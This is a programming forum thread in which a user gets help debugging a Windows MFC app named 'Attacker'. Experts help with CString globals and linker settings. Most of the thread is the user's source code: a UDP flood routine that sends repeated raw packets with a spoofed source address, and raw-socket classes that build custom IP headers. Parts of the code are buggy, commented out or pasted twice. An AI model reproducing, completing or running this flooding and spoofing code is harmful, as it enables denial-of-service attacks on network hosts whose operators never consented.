Link to home
Start Free TrialLog in
Avatar of bluedragon99
bluedragon99Flag for United States of America

asked on

Defining global variable visual c++ .net (mfc)

How would I go about declaring a global VARIANT or STRING in my c++ .net mfc app?
I have been using this for my int's:
extern int myvariable

extern char myvariable[100];
or
extern char myvariable;

they don't seem to work.  To be accepted as an answer this variable needs to be able to hold characters and numbers.  It will be accepting data from a text edit control.

Thanks!
SOLUTION
Avatar of lakshman_ce
lakshman_ce

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
What do you mean by "they don't seem to work"? What errors are you getting?
Avatar of bluedragon99

ASKER

Used this to call it:

//{{AFX_DATA_INIT(CAttackerDlg)
      m_Packets = 100;
      m_SourcePort = 0;
    g_nMyVar = 0;
      CString g_nData = 1;
      g_nTTLVAR = 1;
      m_DestinationPort = 0;
      m_AttackType = 0;
      m_TcpOptions = FALSE;
      m_IPOptions = FALSE;
      //}}AFX_DATA_INIT
      
Used this to call it:

//{{AFX_DATA_INIT(CAttackerDlg)
      m_Packets = 100;
      m_SourcePort = 0;
    g_nMyVar = 0;
      CString g_nData = 1;
      g_nTTLVAR = 1;
      m_DestinationPort = 0;
      m_AttackType = 0;
      m_TcpOptions = FALSE;
      m_IPOptions = FALSE;
      //}}AFX_DATA_INIT
      
Sorry hit enter button prematurly

Calling it here:


//{{AFX_DATA_INIT(CAttackerDlg)
      m_Packets = 100;
      m_SourcePort = 0;
                g_nMyVar = 0;
      g_nData = 1;
      g_nTTLVAR = 1;
      m_DestinationPort = 0;
      m_AttackType = 0;
      m_TcpOptions = FALSE;
      m_IPOptions = FALSE;
      //}}AFX_DATA_INIT


Defining it in header file here:

extern CString g_nData;


Getting this error message:

AttackerDlg.cpp(77): error C2593: 'operator =' is ambiguous
on this line

      g_nData = 1;



      
>CString g_nData = 1;

If you've already defined g_nData as a CString, then it should be

g_nData = _T("1");
yeah posted those by accident

Now I'm getting this

Attacker error LNK2001: unresolved external symbol "class ATL::CStringT<char,class StrTraitMFC<char,class ATL::ChTraitsCRT<char> > > g_nData" (?g_nData@@3V?$CStringT@DV?$StrTraitMFC@DV?$ChTraitsCRT@D@ATL@@@@@ATL@@A)

on this line

g_nData = _T("1");
Avatar of lakshman_ce
lakshman_ce

AFX_DATA_INIT is used to mark the beginning and end of dialog data exchange (DDX) member variable initializations in a dialog class's constructor

Why you are initializing global variable here?

Just have your global variable defn in any .cpp file like

CString g_nData = _T("1");

 I think you should not get the linker error unless you are doing much more than the global variable stuff. In .NET CString is defined for both ATL and MFC and is common for them. The linker error may result if you are importing the CString derived class from a dll into your project. For details plz have a look at
http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B309801


-Lakshman


The reason that you are getting the linker error is because you have not defined the variable. You have only declared it.

extern CString g_nData;

You need to define it in one and only one .cpp.

CString g_nData;
Got it working! it doesn't compile under release but does under debug and compiles exe fine, get this under release compile..

Attacker error LNK2019: unresolved external symbol __imp__send@16 referenced in function "public: int __thiscall CTCPSocket::Send(char *,char)" (?Send@CTCPSocket@@QAEHPADD@Z)


sorry Lakshman I am new to c
all of my functions are returning this error (27) errors.
Well can't really use CString because I am feeding it to a functionn that needs char *....arrrgggg!
Check your linker options of the release version to see if you have added Ws2_32.lib.

You can pass a CString where a LPCTSTR (char *) is required.
As chensu pointed,
Project->Settings->Link->Object/Library modules->(Here add Ws2_32.lib)

-Lakshman
Thanks guys that did fix the release errors, 1 more problem to solve and I'm done.

Here's my function:

BOOL CUPDSocket::Send(int iSourcePort,LPCSTR lpDestinationAddress, int iDestinationPort,LPCSTR g_nData,int BufLength)

Heres where I'm calling it:

if (udp->Send(m_SourcePort,cDestinationIP,m_DestinationPort,g_nData,strlen(g_nData)))

I need to send g_nData (which holds characters and numbers from an edit control, it's a CString) to the send function.  What am I doing wrong?  Heres the error generated.

error C2511: 'BOOL CUDPSocket::Send(int,LPCSTR,int,LPCSTR,int)' : overloaded member function not found in 'CUDPSocket'

error C2664: 'CUDPSocket::Send' : cannot convert parameter 4 from 'CString to 'char *'

Thanks again!
>error C2511: 'BOOL CUDPSocket::Send(int,LPCSTR,int,LPCSTR,int)' : overloaded member function not found in 'CUDPSocket'

The function prototype does not match. Check the CUDPSocket class to see if the number of parameters is correct and the data types of the parameters are correct.

>error C2664: 'CUDPSocket::Send' : cannot convert parameter 4 from 'CString to 'char *'

In order to pass a CString, the data type of the parameter type needs to be "const char *" instead of "char *" as you are not supposed to change the content of the CString.
I still can't figure this out so I am posting the dialog and the actual function.  I need to send g_nData (which holds characters and numbers from an edit control) to the send function.  What changes to I need to make here to the call and the function so it will accept g_nData?  Remember this is from an edit control and it may be changed by the user after each send (its going to be used for creating raw packets).


Here is my dialog which makes the call to the function:

}void CAttackerDlg::UDPFlood()
{
      //Create the udp socket
      CUDPSocket* udp;
      udp=new CUDPSocket();

      udp->SetRaw(TRUE);

      //Was an error
      BOOL bError=TRUE;

      if (udp->Create())
      {
            bError=FALSE;

            //Set the source IP
            char* cSourceIP;
            cSourceIP=IPCtrlToSTR(&m_SourceIP);

            if (!cSourceIP)
                  //Error
                  AfxMessageBox(ERROR_INVALID_SOURCE);
            else
            {
                  //Copy source IP
                  cSourceIP=_strdup(cSourceIP);

                  char* cDestinationIP;
                  cDestinationIP=IPCtrlToSTR(&m_DestinationIP);

                  if (!cDestinationIP)
                  {
                        delete cSourceIP;
                        //Error
                        AfxMessageBox(ERROR_INVALID_DESTINATION);
                  }
                  else
                  {
                        bError=TRUE;

                        if (m_IPOptions)
                              SetIPOptions(udp);

                        //Let's attack
                        udp->SetSourceAddress(cSourceIP);

                        
                        char cFlood[]="test";
                        
                        for (int iCount=1;iCount<=m_Packets;iCount++)
                              if (udp->Send(m_SourcePort,cDestinationIP,m_DestinationPort,cFlood,strlen(cFlood)))
                                    //OK
                                    bError=FALSE;

                        delete cSourceIP;
                  }
            }
      }

      if (bError)
            //Display error
            DisplaySocketError(udp);

      udp->Close();
      delete udp;














Heres my function:

}void CAttackerDlg::UDPFlood()
{
      //Create the udp socket
      CUDPSocket* udp;
      udp=new CUDPSocket();

      udp->SetRaw(TRUE);

      //Was an error
      BOOL bError=TRUE;

      if (udp->Create())
      {
            bError=FALSE;

            //Set the source IP
            char* cSourceIP;
            cSourceIP=IPCtrlToSTR(&m_SourceIP);

            if (!cSourceIP)
                  //Error
                  AfxMessageBox(ERROR_INVALID_SOURCE);
            else
            {
                  //Copy source IP
                  cSourceIP=_strdup(cSourceIP);

                  char* cDestinationIP;
                  cDestinationIP=IPCtrlToSTR(&m_DestinationIP);

                  if (!cDestinationIP)
                  {
                        delete cSourceIP;
                        //Error
                        AfxMessageBox(ERROR_INVALID_DESTINATION);
                  }
                  else
                  {
                        bError=TRUE;

                        if (m_IPOptions)
                              SetIPOptions(udp);

                        //Let's attack
                        udp->SetSourceAddress(cSourceIP);

                        
                        char cFlood[]="test";
                        
                        for (int iCount=1;iCount<=m_Packets;iCount++)
                              if (udp->Send(m_SourcePort,cDestinationIP,m_DestinationPort,cFlood,strlen(cFlood)))
                                    //OK
                                    bError=FALSE;

                        delete cSourceIP;
                  }
            }
      }

      if (bError)
            //Display error
            DisplaySocketError(udp);

      udp->Close();
      delete udp;











Are you still getting those two errors? If so, please post the function prototype of CUDPSocket::Send() in the declaration of CUDPSocket.
Yup still getting the 2 errors.  Here are the source and header files.

Source:

#include "stdafx.h"
#include "UDPSocket.h"

#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CUDPSocket::CUDPSocket() : CSpoofSocket()
{
}

CUDPSocket::~CUDPSocket()
{

}

BOOL CUDPSocket::Create()
{
      SetProtocol(IPPROTO_UDP);
      return CSpoofSocket::Create(IPPROTO_UDP);
}

BOOL CUDPSocket::Send(int iSourcePort,
                                LPCSTR lpDestinationAddress,
                                int iDestinationPort,
                                char* buf,
                                int BufLength
                                )
{
      //We can construct the UDP here
      LPUDPHeader lpUDP;
      lpUDP=new UDPHeader;

      //Set the ports
      lpUDP->SourcePort=htons(iSourcePort);
      lpUDP->DestinationPort=htons(iDestinationPort);

      //Set the length
      lpUDP->Length=htons(UDPHeaderLength);

      //Check sum
      lpUDP->Checksum=0;

      BOOL bResult;

      if (BufLength)
      {
            //Create the buffer
            int iTotalLength;
            iTotalLength=UDPHeaderLength+BufLength;

            char* tmpBuf;
            tmpBuf=new char[iTotalLength];

            memcpy(tmpBuf,lpUDP,UDPHeaderLength);
            memcpy(tmpBuf+UDPHeaderLength,buf,BufLength);
            
            //Update it
            lpUDP->Checksum=CalculatePseudoChecksum(tmpBuf,iTotalLength,lpDestinationAddress,iTotalLength);

            //Recopy it
            memcpy(tmpBuf,lpUDP,UDPHeaderLength);

            //Send it
            bResult=CSpoofSocket::Send(lpDestinationAddress,tmpBuf,iTotalLength);

            //Delete
            delete tmpBuf;
      }
      else
      {
            //Update it
            lpUDP->Checksum=CalculatePseudoChecksum((char*)lpUDP,UDPHeaderLength,lpDestinationAddress,UDPHeaderLength);

            //Send it
            bResult=CSpoofSocket::Send(lpDestinationAddress,(char*)lpUDP,UDPHeaderLength);
      }

      //Clean up
      delete lpUDP;

      return bResult;
}

BOOL CUDPSocket::SetBroadcast(BOOL bBroadcast)
{
      //Set broadcast option
      
      if(setsockopt(getHandle(),SOL_SOCKET,SO_BROADCAST,(char*)&bBroadcast,sizeof(bBroadcast))==SOCKET_ERROR)
      {
            //Check for options error
            SetLastError();
            return FALSE;
      }      

      return TRUE;
}







HEADER:

// UDPSocket.h: interface for the CUDPSocket class.
//
//////////////////////////////////////////////////////////////////////

/*
 *
 *
 *  Copyright (c) 2000 Barak Weichselbaum <barak@komodia.com>
 *  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *
 * Contact info:
 * Site: http://www.komodia.com
 * Email: barak@komodia.com
 */

#if !defined(AFX_UDPSOCKET_H__B6FDDD18_19E2_4E61_A04E_CC6DD8583966__INCLUDED_)
#define AFX_UDPSOCKET_H__B6FDDD18_19E2_4E61_A04E_CC6DD8583966__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#include "SpoofSocket.h"

typedef struct _UDPHeader
{
      unsigned short      SourcePort;
      unsigned short      DestinationPort;
      unsigned short      Length;
      unsigned short      Checksum;
} UDPHeader;

typedef UDPHeader FAR * LPUDPHeader;

#define UDPHeaderLength sizeof(UDPHeader)

class CUDPSocket : public CSpoofSocket  
{
public:
      BOOL SetBroadcast(BOOL bBroadcast);
      BOOL Send(int iSourcePort,
                    LPCSTR lpDestinationAddress,
                    int iDestinationPort,
                    char* buf,
                    int BufLength);
      BOOL Create();
      CUDPSocket();
      virtual ~CUDPSocket();

};

#endif // !defined(AFX_UDPSOCKET_H__B6FDDD18_19E2_4E61_A04E_CC6DD8583966__INCLUDED_)
in the header is this the problem?

public:
     BOOL SetBroadcast(BOOL bBroadcast);
     BOOL Send(int iSourcePort,
                 LPCSTR lpDestinationAddress,
                 int iDestinationPort,
 -------->    char* buf,
                 int BufLength);
   
ASKER CERTIFIED SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
is sendto() a dll call of some sort or is it user defined somewhere?  I cant seem to find it in any of the header files or anywhere else to change what I can pass to it.  I think thats where I need to pass the data payload.  
Guys thanks for all your help and all errors have cleared up so far, but..I still cannot seem to be able to pass the data portion of the packet to the correct spot.  Currently the program sends no data portion of the packet.  The text box on my dialog needs to be able to enter the raw data for the packet.  I am going to post header files and source of the places it could be at.  The send function appears to be working after changing the char * buf, but sendto() seems to be the final function that runs before actually sending the packet.  It is located in spoofsocket.cpp, I tried putting g_nData into this function but no luck, data payload still blank.  Wish I could post zip files, would post whole source.  Anyone have any ideas left on where to put the g_nData variable???  I really want this thing to work and this is the last thing to implement and its DONE!

Spoofsocket.CPP source:


#include "stdafx.h"
#include "BinaryTree.h"
#include "SpoofSocket.h"
#include "Attacker.h"
#include "AttackerDlg.h"


#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

extern CString g_nData;


//Message handler
LRESULT CALLBACK SocketMessageHandler(HWND hwnd,      // handle to window
                                                          UINT uMsg,      // message identifier
                                                        WPARAM wParam,  // first message parameter
                                                        LPARAM lParam)   // second message parameter
                                                                              
{
      //first get the socket
      CSpoofSocket* cSock;

      cSock=CSpoofSocket::GetSocketByID((int)wParam);

      if (cSock)
            //Socket exists
            switch (uMsg)
            {
            case WM_SOCKET_GENERAL:
                  if (WSAGETSELECTEVENT(lParam) == FD_READ)
                        return cSock->OnSocketReceive(WSAGETSELECTERROR(lParam));
                  else if (WSAGETSELECTEVENT(lParam) == FD_WRITE)
                        return cSock->OnSocketWrite(WSAGETSELECTERROR(lParam));
                  else if (WSAGETSELECTEVENT(lParam) == FD_OOB)
                        return cSock->OnSocketOOB(WSAGETSELECTERROR(lParam));
                  else if (WSAGETSELECTEVENT(lParam) == FD_CLOSE)
                        return cSock->OnSocketClose(WSAGETSELECTERROR(lParam));
                  break;
            case WM_SOCKET_CONNECT:
                  if (WSAGETSELECTEVENT(lParam) == FD_CONNECT)
                        return cSock->OnSocketConnect(WSAGETSELECTERROR(lParam));
                  break;
            case WM_SOCKET_ACCEPT:
                  if (WSAGETSELECTEVENT(lParam) == FD_ACCEPT)
                        return cSock->OnSocketAccept(WSAGETSELECTERROR(lParam));
                  break;
            case WM_TIMER:
                  //Inform the socket
                  return cSock->OnSocketTimeout();
            default:                       /* Passes it on if unproccessed    */
                  return (int)(DefWindowProc(hwnd, uMsg, wParam, lParam));
            }
      else
            return (int)(DefWindowProc(hwnd, uMsg, wParam, lParam));

      return TRUE;
}

/////////////////////////////////////////////////////////////////////////////
// CSpoofSocket

CSpoofSocket::CSpoofSocket()
{
      InitializeIP();
}

CSpoofSocket::CSpoofSocket(SOCKET sok)
{
      AssignSocket(sok);
}

CSpoofSocket::~CSpoofSocket()
{
      //Delete options
      SetOptions(FALSE);

      Close();
}

/////////////////////////////////////////////////////////////////////////////
// CSpoofSocket member functions

BOOL CSpoofSocket::Create(int iProtocol)
{
      //Here we create the raw socket

            m_SpoofSocket=socket(AF_INET,SOCK_RAW,iProtocol);              //iProtocol);

      //Check for socket validity
      if (m_SpoofSocket==INVALID_SOCKET)
      {
            //Error
            m_LastError=WSAGetLastError();
            return FALSE;
      }

      if (m_Raw)
      {
            //Set that the application will send the IP header
            unsigned int iTrue=1;

            if(setsockopt(m_SpoofSocket,IPPROTO_IP,IP_HDRINCL,(char*)&iTrue,sizeof(iTrue))==SOCKET_ERROR)
            {
                  //Check for options error
                  m_LastError=WSAGetLastError();
                  return FALSE;
            }
            if (iProtocol==IPPROTO_ICMP)
                  SetHandlers();
      }
      else
            SetHandlers();
      
      //Well no errors
      m_LastError=0;

      //Add socket to list
      AddSocketToList();

      return TRUE;
}

BOOL CSpoofSocket::Send(LPCSTR lpDestinationAddress,LPCSTR g_nData)
{
      //Quit if not ok
      if (!CheckSocketValid())
            return FALSE;

      //Define the target address
      sockaddr_in m_TargetAddress;
      memset(&m_TargetAddress,0,sizeof(m_TargetAddress));

      m_TargetAddress.sin_family=AF_INET;
      m_TargetAddress.sin_addr.s_addr=inet_addr(lpDestinationAddress);
      m_TargetAddress.sin_port=0;

      //packet send status ?
      int iResult;

      //Only if allowing raw headers !!
      if (m_Raw)
      {
            //Header length
            unsigned char ucHeaderLength=IpHeaderLength;

            if (m_Options)
                  ucHeaderLength+=m_IPOptions->GetBufferLength();
            
            //First construct the packet
            

                        
            
      LPIpHeader lpHead=ConstructIPHeader(g_nMyVar,IpFragFlag_DONT_FRAG,m_TTL,GetCurrentProcessId(),ucHeaderLength);






            //Set the address
            SetIPHeaderAddress(lpHead,m_SourceAddress,lpDestinationAddress);

            //Now add some more options
            int iTotalLength;
            iTotalLength=ucHeaderLength;

            //Set the header
            lpHead->TotalLength=htons(iTotalLength);

            //Need to construct a new packet
            
            
            
            
                  
            char* newBuf=new char[iTotalLength];
            
            
            
            
            
            
            //Copy two buffers
            memcpy(newBuf,lpHead,IpHeaderLength);

            //Do we need to copy options ?
            if (m_Options)
                  memcpy(newBuf+IpHeaderLength,m_IPOptions->GetBuffer(),m_IPOptions->GetBufferLength());

            //Only if not null
            //if (buf)
      

                  //memcpy(newBuf+ucHeaderLength,g_nData,g_nData);


















            //Calculate the checksum
            lpHead->CheckSum=CalculateChecksum((unsigned short*)newBuf,iTotalLength);

            //Recopy the ip
            memcpy(newBuf,lpHead,IpHeaderLength);
            
            //Send the data
            iResult=sendto(getHandle(),newBuf,iTotalLength,0,(sockaddr*)&m_TargetAddress,sizeof(m_TargetAddress));

            //Dispose of the buffer
            delete newBuf;

            //Dispose the header
            delete lpHead;
      }
      else
      {
            iResult=!SOCKET_ERROR;

            //Insert options
            if (m_Options)
                  if (setsockopt(getHandle(),IPPROTO_IP,IP_OPTIONS,m_IPOptions->GetBuffer(),m_IPOptions->GetBufferLength()==SOCKET_ERROR))
                        //Error
                        iResult=SOCKET_ERROR;
                  else
                        ;
            else
                  //No options
                  //iResult=setsockopt(getHandle(),IPPROTO_IP,IP_OPTIONS,NULL,0);
                  ;

            //Check if we had an error
            if (iResult!=SOCKET_ERROR)
                  //Use regular send !!!

                  //iResult=sendto(getHandle(),0,(sockaddr*)&m_TargetAddress,sizeof(m_TargetAddress));
      ;
      }

      if (iResult==SOCKET_ERROR)
            //Set the error
            SetLastError();
      else
            m_LastError=0;

      return iResult!=SOCKET_ERROR;
}

LPIpHeader CSpoofSocket::ConstructIPHeader(unsigned char  ucProtocol,
                                                               unsigned short usFragmentationFlags,
                                                               unsigned char  ucTTL,
                                                               unsigned short usIdentification,
                                                               unsigned char  ucHeaderLength)
{
      //Need to construct the IP header
      LPIpHeader lpHead=new _IpHeader;

      //Header length (in 32 bits)
      lpHead->HeaderLength_Version=ucHeaderLength/4 + IpVersion*16;

      //Protocol
      lpHead->Protocol=ucProtocol;

      //Fragmentation flags
      lpHead->FragmentationFlags=htons(usFragmentationFlags);

      //Time to live
      lpHead->TTL=ucTTL;

      //Checksum - set to 0
      lpHead->CheckSum=0;

      //Identification
      lpHead->Identification=htons(usIdentification);

      //Precedence
      lpHead->TypeOfService=IpService_ROUTINE;

      //Return IP to user
      return lpHead;
}

void CSpoofSocket::SetIPHeaderAddress(LPIpHeader lpHead, LPCSTR lpSourceAddress, LPCSTR lpDestinationAddress)
{
      //We need to place the header
      
      //If source is NULL then we need to use default source
      if (!lpSourceAddress)
      {
            //We will implement it
      }
      else
            //Use sockets2
            lpHead->sourceIPAddress=inet_addr(lpSourceAddress);

      //Place destination address
      lpHead->destIPAddress=inet_addr(lpDestinationAddress);

      //Done
}

void CSpoofSocket::SetLastError()
{
      m_LastError=WSAGetLastError();
}

int CSpoofSocket::GetLastError()
{
      return m_LastError;
}

BOOL CSpoofSocket::ValidSocket()
{
      return m_SpoofSocket!=INVALID_SOCKET;
}

unsigned short CSpoofSocket::CalculateChecksum(unsigned short *usBuf, int iSize)
{
      unsigned long usChksum=0;

      //Calculate the checksum
      while (iSize>1)
      {
            usChksum+=*usBuf++;
            iSize-=sizeof(unsigned short);
      }

      //If we have one char left
      if (iSize)
            usChksum+=*(unsigned char*)usBuf;

      //Complete the calculations
      usChksum=(usChksum >> 16) + (usChksum & 0xffff);
      usChksum+=(usChksum >> 16);

      //Return the value (inversed)
      return (unsigned short)(~usChksum);
}


BOOL CSpoofSocket::Bind(LPCSTR lpSourceAddress,int iPort)
{
      //Quit if not ok
      if (!CheckSocketValid())
            return FALSE;

      //Create the local address
      sockaddr_in soSrc;
      //Set to 0
      memset(&soSrc,0,sizeof(soSrc));
      soSrc.sin_family=AF_INET;
      soSrc.sin_addr.s_addr=inet_addr(lpSourceAddress);
      soSrc.sin_port=htons(iPort);

      //Now we need to bind it
      if (bind(getHandle(),(sockaddr*)&soSrc,sizeof(soSrc)))
      {
            //Error
            m_LastError=WSAGetLastError();
            return FALSE;
      }

      m_LastError=0;

      //If already has a source address then don't change it
      if (!m_SourceAddress)
            m_SourceAddress=lpSourceAddress;

      return TRUE;
}

SOCKET CSpoofSocket::getHandle()
{
      return m_SpoofSocket;
}

BOOL CSpoofSocket::CheckSocketValid()
{
      //Check if socket is invalid
      if (!ValidSocket())
      {
            m_LastError=WSAESHUTDOWN;
            return FALSE;
      }

      //OK
      return TRUE;
}

BOOL CSpoofSocket::Close()
{
      //Close the socket
      //Quit if not ok
      if (!CheckSocketValid())
            return FALSE;

      //Close it
      if (closesocket(getHandle())==SOCKET_ERROR)
      {
            //Error in closing ?
            m_LastError=WSAGetLastError();
            return FALSE;
      }

      //Set the socket to invalid
      m_SpoofSocket=INVALID_SOCKET;

      //Remove from tree
      RemoveSocketFromList();

      return TRUE;
}


BOOL CSpoofSocket::InitializeSockets()
{
      //Initialize the sockets
      WORD wVersionRequested;
      WSADATA wsaData;
      int err;
 
      wVersionRequested = MAKEWORD( 2, 2 );
 
      err = WSAStartup( wVersionRequested, &wsaData );
      if (err!=0)
            /* Tell the user that we could not find a usable */
            /* WinSock DLL.                                  */
            return FALSE;
 
      /* Confirm that the WinSock DLL supports 2.2.*/
      /* Note that if the DLL supports versions greater    */
      /* than 2.2 in addition to 2.2, it will still return */
      /* 2.2 in wVersion since that is the version we      */
      /* requested.                                        */
 
      if (LOBYTE(wsaData.wVersion)!=2 || HIBYTE(wsaData.wVersion)!=2)
      {
            /* Tell the user that we could not find a usable */
            /* WinSock DLL.                                  */
            WSACleanup();
            return FALSE;
      }

      //OK
      //Intialize the tree
      if (!m_SocketTree)
            m_SocketTree=new CBinaryTree;

      return TRUE;
}
 

void CSpoofSocket::SetProtocol(int iProtocol)
{
      m_Protocol=iProtocol;
}

void CSpoofSocket::SetSourceAddress(LPCSTR lpSourceAddress)
{
      //Set the source address, in case we want to spoof it
      m_SourceAddress=lpSourceAddress;
}

unsigned short CSpoofSocket::CalculatePseudoChecksum(char *buf, int BufLength,LPCSTR lpDestinationAddress,int iPacketLength)
{
      //Calculate the checksum
      LPPseudoHeader lpPseudo;
      lpPseudo=new PseudoHeader;

      lpPseudo->DestinationAddress=inet_addr(lpDestinationAddress);
      lpPseudo->SourceAddress=inet_addr(m_SourceAddress);
      lpPseudo->Zeros=0;
      lpPseudo->PTCL=m_Protocol;
      lpPseudo->Length=htons(iPacketLength);

      //Calculate checksum of all
      int iTotalLength;
      iTotalLength=PseudoHeaderLength+BufLength;

      char* tmpBuf;
      tmpBuf=new char[iTotalLength];

      //Copy pseudo
      memcpy(tmpBuf,lpPseudo,PseudoHeaderLength);

      //Copy header
      memcpy(tmpBuf+PseudoHeaderLength,buf,BufLength);

      //Calculate the checksum
      unsigned short usChecksum;
      usChecksum=CalculateChecksum((unsigned short*)tmpBuf,iTotalLength);

      //Delete all
      delete tmpBuf;
      delete lpPseudo;

      //Return checksum
      return usChecksum;
}

void CSpoofSocket::SetTTL(unsigned char ucTTL)
{
      if (m_Raw)
      {
            //Set the ttl
            m_TTL=ucTTL;
      }
      else
            setsockopt(getHandle(),IPPROTO_IP,IP_TTL,(const char*)&ucTTL,sizeof(ucTTL));

}

BOOL CSpoofSocket::Listen(int iBackLog)
{
      int iResult;
      iResult=listen(getHandle(),iBackLog);

      if (iResult)
            SetLastError();

      return !iResult;
}

BOOL CSpoofSocket::ShutdownSockets()
{
      //Clear windows
      BOOL bHandlers;
      bHandlers=RemoveHandlers();

      //Delete tree
      delete m_SocketTree;
      m_SocketTree=NULL;

      if (WSACleanup()==SOCKET_ERROR)
      {
            SetLastError();
            return FALSE;
      }
      else
            return bHandlers;


}

void CSpoofSocket::SetRaw(BOOL bRaw)
{
      //Do we want to create raw socket (YES!!)
      m_Raw=bRaw;
}

void CSpoofSocket::SetOptions(BOOL bOptions)
{
      //Do we want options, normaly not
      m_Options=bOptions;

      if (m_IPOptions)
      {
            delete m_IPOptions;
            m_IPOptions=NULL;
      }

      if (bOptions)
            m_IPOptions=new CIPOptions;

}

CIPOptions::CIPOptions()
{
      //Initialize our buffer
      m_Buffer=new char[IPOption_SIZE];

      //Set our buffer to nothing
      Reset();

      //Our buffer length
      m_BufferLength=0;

      //Set auto pad
      m_AutoPAD=TRUE;
}

CIPOptions::~CIPOptions()
{
      delete m_Buffer;
}

void CIPOptions::AddOption_Nothing()
{
      //Add option do nothing
      //tOptionType OT;

      ////Get the option
      //OT=GetOption(IPOption_DONT_COPY,IPOption_CONTROL,IPOption_NO_OPERATION);

      ////Add it to buffer
      //AddToBuffer((char*)&OT,sizeof(OT));
}

tOptionType CIPOptions::GetOption(unsigned char CopyFlag, unsigned char ClassFlag, unsigned char TypeFlag)
{
      //Return a single option type
      return CopyFlag | ClassFlag | TypeFlag;
}

void CIPOptions::AddToBuffer(char *buf, int BufLength)
{
      if (m_BufferLength<IPOption_SIZE)
      {
            //Add our option to the buffer
            /*memcpy(m_Buffer+m_BufferLength,buf,BufLength);
            m_BufferLength+=BufLength;*/
      }
}

const char* CIPOptions::GetBuffer()
{
      return m_Buffer;
}

int CIPOptions::GetBufferLength()
{
      //Check if auto pad or not
      if (m_AutoPAD)
            if (m_BufferLength/IPOption_WRAPSIZE==(m_BufferLength/IPOption_WRAPSIZE)*IPOption_WRAPSIZE && m_BufferLength>=IPOption_WRAPSIZE)
                  return m_BufferLength;
            else
                  return int((float)m_BufferLength/IPOption_WRAPSIZE+1)*IPOption_WRAPSIZE;
      else
            return m_BufferLength;
}

void CIPOptions::AddOption_ENDLIST()
{
      //End the list of options
      tOptionType OT;

      //Get the option
      OT=GetOption(IPOption_DONT_COPY,IPOption_CONTROL,IPOption_END_OPTION);

      ////Add it to buffer
      //AddToBuffer((char*)&OT,sizeof(OT));
}

void CIPOptions::SetAutoPad(BOOL bAutoPAD)
{
      m_AutoPAD=bAutoPAD;
}

CIPOptions* CSpoofSocket::GetOptions()
{
      return m_IPOptions;
}

void CIPOptions::Reset()
{
      //Set all to zeros
      memset(m_Buffer,0,IPOption_SIZE);
}

void CIPOptions::AddOption_Security(unsigned short usType)
{
      ////Add option security
      //tOptionType OT;

      ////Get the option
      //OT=GetOption(IPOption_COPY,IPOption_CONTROL,IPOption_SECURITY);

      ////Add it to buffer
      //AddToBuffer((char*)&OT,sizeof(OT));

      ////Add length
      //OT=IPOption_SECURITY_LENGTH;
      //AddToBuffer((char*)&OT,sizeof(OT));

      ////Add options
      //AddToBuffer((char*)&usType,sizeof(usType));

      //Add zeros
      unsigned short usZeros=0;
      unsigned char ucZeros=0;

      //A hacker would enumarate these values, according to the RFC
      //Compartments
      //AddToBuffer((char*)&usZeros,sizeof(usZeros));

      ////Handling restrictions
      //AddToBuffer((char*)&usZeros,sizeof(usZeros));


      ////Transmition control code (TCC)
      //AddToBuffer((char*)&usZeros,sizeof(usZeros));
      //AddToBuffer((char*)&ucZeros,sizeof(ucZeros));

      ////Done
}

void CIPOptions::AddOption_Stream(unsigned short usStreamID)
{
      //      //Add option security
      //tOptionType OT;

      ////Get the option
      //OT=GetOption(IPOption_COPY,IPOption_CONTROL,IPOption_STREAM);

      ////Add it to buffer
      //AddToBuffer((char*)&OT,sizeof(OT));

      ////Add length
      //OT=IPOption_STREAM_LENGTH;
      //AddToBuffer((char*)&OT,sizeof(OT));

      ////Add options
      //unsigned short usnStreamID;
      //usnStreamID=htons(usStreamID);

      //AddToBuffer((char*)&usnStreamID,sizeof(usnStreamID));
}

void CIPOptions::AddOption_StrictRoute(tRouting tRoute)
{
      /*AddOption_Route(IPOption_STRICT_ROUTING,tRoute);*/
}

void CIPOptions::AddOption_RecordRoute(int iMaxRoutes)
{
      ////Option for strict routine
      ////Add option strict route
      //tOptionType OT;

      ////Get the option
      //OT=GetOption(IPOption_DONT_COPY,IPOption_CONTROL,IPOption_RECORD_ROUTE);

      ////Add it to buffer
      //AddToBuffer((char*)&OT,sizeof(OT));

      ////Add the length
      //OT=iMaxRoutes*4+IPOption_STRICT_ROUTING_LENGTH;
      //AddToBuffer((char*)&OT,sizeof(OT));
      //
      ////Add the pointer
      //OT=IPOption_STRICT_ROUTING_POINTER;
      //AddToBuffer((char*)&OT,sizeof(OT));
      //
      //char cNothing[IPOption_SIZE]="";
